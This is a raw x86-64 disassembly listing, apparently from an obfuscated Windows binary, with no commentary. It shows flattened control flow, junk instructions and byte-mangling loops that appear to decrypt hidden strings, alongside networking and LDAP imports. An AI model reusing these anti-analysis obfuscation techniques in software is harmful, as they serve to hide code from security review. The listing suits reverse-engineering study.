lea rax, [r9 + 9]
cmp r8, rax
jne 0x14010d1e4
lea ecx, [rbx - 0x79]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x4f
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010d5f2
lea edx, [rbx - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010d61a
lea edx, [rbx + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010d88a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010d642
movzx edi, bl
lea edx, [rdi - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d867
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010d670
lea edx, [rbx + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010d6a1
lea edx, [rbx - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010d1a2
movzx edi, bl
lea edx, [rdi - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010d821
movzx edi, bl
lea edx, [rdi - 0x58]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + rbx + 0x28]
sub cl, al
add cl, 0x34
lea r11d, [rcx + rcx]
jmp 0x14010d867
lea edx, [rbx + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x6b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x28], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14010d76a
lea ecx, [rbx + 0x1f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x27
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea edx, [rbx - 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x25
add r11b, dl
lea edx, [rbx - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x28], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
lea ecx, [rbx + 0x69]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x21
jmp 0x14010d88d
lea ecx, [rbx - 0x4d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x1b
dec rbx
inc rbx
jmp 0x14010cd72
lea ecx, [rbx + 0x21]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x19
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
movzx edi, bl
lea edx, [rdi - 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x17
add r11b, dl
add dil, 0x5f
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x67
add dil, r10b
mov byte [rbp + rbx + 0x28], dil
inc r9
dec rbx
inc rbx
jmp 0x14010cd72
movzx edi, bl
lea edx, [rdi - 0x4b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0xd
add r11b, dl
sub dil, 0xf
movzx eax, dil
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x69
add cl, dil
add cl, r10b
mov byte [rbp + rbx + 0x28], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010cd72
lea rcx, [rbx + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 3
movzx eax, byte [rbp + rbx + 0x28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010cd72
sub bl, 0x13
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7b
jmp 0x14010cd70
add bl, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7d
jmp 0x14010cd60
lea rdx, [rbp + 0x17d6d34]
jmp 0x140111eff
lea rdx, [rbp + 0x54da7d]
jmp 0x140111eff
lea rdx, [rbp + 0x28]
jmp 0x140111eff
lea rcx, [rbp + 0x191]
call fcn.14004ec60
mov dword [rbp - 0x38], 0xa5aba394
mov dword [rbp - 0x34], 0xaf56a791
mov dword [rbp - 0x30], 0x894aba89
mov dword [rbp - 0x2c], 0x4fb08889
mov dword [rbp - 0x28], 0x8783bebc
mov dword [rbp - 0x24], 0x79788181
mov word [rbp - 0x20], 0x6346
mov byte [rbp - 0x1e], reloc.WLDAP32.dll_Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1d], xmm0
mov qword [rbp - 0xd], rax
movabs rsi, 0x5110f8e645801388
movabs r15, 0x3776ce4be68088b8
movabs r14, 0xf332eab2d0803a98
movzx r11d, byte [rbp + 0x190]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14010e55d
movzx r10d, byte [rbp + rdi - 0x38]
mov rdx, r10
cmp r8, rdi
ja 0x14010e554
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010d9f1
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0x48
jmp 0x14010da20
je 0x14010e4e5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010e466
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010e443
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010e400
nop
cmp r9, rdi
ja 0x14010e54b
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14010da4c
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14010da90
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010e3f2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010e3c0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010e3a4
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010e386
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010e35e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14010dfff
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010dfdd
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010dfb6
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14010df91
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010df72
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14010df53
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010df38
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14010df19
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14010defb
lea rax, [r9 + 2]
cmp r8, rax
je 0x14010dece
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14010daa0
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x400]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14010e52e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14010e50d
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14010dc90
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010dc76
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14010dc57
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010de82
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010de35
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010ddf6
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14010ddcf
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14010daa0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14010dda6
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14010dd87
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14010dd69
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14010dd4a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14010dd35
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14010dd16
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14010dcf1
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010dccd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14010dcaa
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010daa0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
jmp 0x14010daa0
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010da90
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14010da20
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x14010d9c2
lea edx, [rdi + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx ebx, dil
jmp 0x14010e41e
lea ecx, [rdi + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x14010d9b2
lea edx, [rdi + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14010d9b2
lea edx, [rdi + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
movzx ebx, dil
jmp 0x14010e319
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
jmp 0x14010e3d6
lea edx, [rdi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e3d9
lea edx, [rdi - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x14010e480
lea edx, [rdi - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e4a7
lea ecx, [rdi - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea edx, [rdi + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rdi - 0x38], r11b
inc rdi
jmp 0x14010d9b2
lea ecx, [rdi + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
cmp r9, 8
jb 0x14010dde9
movzx ebx, dil
lea edx, [rbx + 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14010e41e
lea edx, [rdi - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x20
jae 0x14010e2fe
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14010e1dc
lea edx, [rdi - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010de0b
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
lea rax, [r9 + r8]
cmp rax, 6
je 0x14010e33b
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14010e0d9
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010de4f
lea edx, [rdi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea edx, [rdi - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x14010e4a7
lea edx, [rdi - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e480
lea ecx, [rdi - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
jmp 0x14010e3d9
lea edx, [rdi - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e3d6
movzx ebx, dil
lea edx, [rbx - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
jmp 0x14010e319
lea edx, [rdi - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14010d9b2
lea ecx, [rdi + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14010d9b2
movzx ebx, dil
lea edx, [rbx + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x14010e41e
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14010e027
lea edx, [rdi - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010de97
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010e059
lea ecx, [rdi + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010e080
lea edx, [rdi + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x14010e480
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010e0a7
lea ecx, [rdi + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
jmp 0x14010e3d9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010de97
lea edx, [rdi - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14010d9b2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010e104
movzx ebx, dil
lea edx, [rbx + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x14010e41e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010e12e
lea ecx, [rdi - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x14010d9b2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010e157
movzx ebx, dil
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010e319
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010e17a
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14010e3d9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010e1a2
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010e480
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010de4f
lea edx, [rdi - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010e20e
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
inc rax
cmp r8, rax
jne 0x14010e235
lea edx, [rdi - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e4a7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010e25c
lea edx, [rdi - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x14010e480
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010e284
lea edx, [rdi - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e3d9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010e2aa
movzx ebx, dil
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14010e319
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010e2ce
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
dec rdi
inc rdi
jmp 0x14010d9b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010de0b
movzx ebx, dil
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e41e
movzx ebx, dil
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rdi - 0x38]
sub cl, al
add cl, 0x20
lea r11d, [rcx + rcx]
add r11b, dl
sub bl, 0x38
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x78
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x38], bl
jmp 0x14010e3d6
lea edx, [rdi + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rdi - 0x38]
sub r11b, 0x30
add r11b, dl
jmp 0x14010e480
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea edx, [rdi - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x14010e480
lea edx, [rdi - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14010e3d9
lea ecx, [rdi + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14010d9b2
movzx ebx, dil
lea edx, [rbx + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010e40c
movzx ebx, dil
lea edx, [rbx + 0x18]
mov ecx, Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
sub bl, 0x48
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 8
add bl, r10b
mov byte [rbp + rdi - 0x38], bl
inc r9
dec rdi
inc rdi
jmp 0x14010d9b2
lea ecx, [rdi + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x14010d9b2
lea rcx, [rdi + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
sub r11b, 8
add r11b, cl
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi - 0x38], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi - 0x38], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi - 0x38]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010d9b2
sub dil, 0x58
movzx eax, r10b
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dil
jmp 0x14010d9b0
sub dil, 0x68
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x28
jmp 0x14010d9a0
lea rdx, [rbp + 0x14d1f28]
jmp 0x14010e561
lea rdx, [rbp + 0x10d32b0]
jmp 0x14010e561
lea rdx, [rbp - 0x38]
mov rcx, qword [0x140220750]
call fcn.1400cefc0
mov rsi, qword [0x140220a60]
mov dword [rbp + 0xd0], 0xdea2daa9
mov dword [rbp + 0xd4], 0xe2d6d1e1
mov dword [rbp + 0xd8], 0xa3aaa5e0
mov dword [rbp + 0xdc], 0x98a7aeb1
mov dword [rbp + 0xe0], 0xa3d2a19d
mov dword [rbp + 0xe4], 0xd793aa91
mov dword [rbp + 0xe8], 0xfbcaf7e9
mov dword [rbp + 0xec], 0xd1becca0
mov byte [rbp + 0xf0], Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf1], xmm0
movups xmmword [rbp + 0x101], xmm0
mov word [rbp + 0x111], ax
movabs r14, 0x7c0856a4726f6266
movabs r15, 0x29581ce17b7a7622
movzx r10d, byte [rbp + 0x190]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0xb5cd98b8cac868fa
movabs rcx, 0x631d5ef5d3d37cb6
cmp rdi, 0x43
jae 0x14010f057
movzx ebx, byte [rbp + rdi + 0xd0]
mov r11d, ebx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14010f04e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010e67a
add rcx, rdi
mov eax, ebx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rbx
add r10, rcx
add r10b, 6
jmp 0x14010e6c0
je 0x14010efd4
inc rax
cmp r8, rax
je 0x14010ef56
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010ef22
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010eedd
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010eeb9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010ee92
cmp r9, rdi
ja 0x14010f045
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14010e6ed
lea edx, [rdi - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14010e721
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010ee4c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010ee2d
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010ee14
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010edfb
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14010eb64
nop
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010eb46
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010eb27
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010eb09
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010eaed
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14010ead4
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14010eabb
lea rax, [r9 + 9]
cmp r8, rax
je 0x14010ea91
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14010e730
mov r8, rax
lea r9, [rax + 0x200]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010f025
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010f005
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010e8aa
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14010e88c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14010ea14
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14010e9d2
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14010e9a9
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14010e730
mov r8, rax
lea r9, [rax + 0x41]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14010e97f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14010e962
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010e945
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14010e929
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010e908
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14010e8e9
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14010e8c8
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14010e730
mov r8, rax
lea r9, [rax + 0x1000]
jmp 0x14010e730
lea edx, [rdi - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14010e721
lea edx, [rdi + 0x66]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14010e6c0
lea edx, [rdi + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, dl
movzx r11d, dil
jmp 0x14010ee65
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x28
dec rdi
inc rdi
jmp 0x14010e622
lea edx, [rdi + 0x2c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x34
add r10b, dl
movzx r11d, dil
jmp 0x14010eefb
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
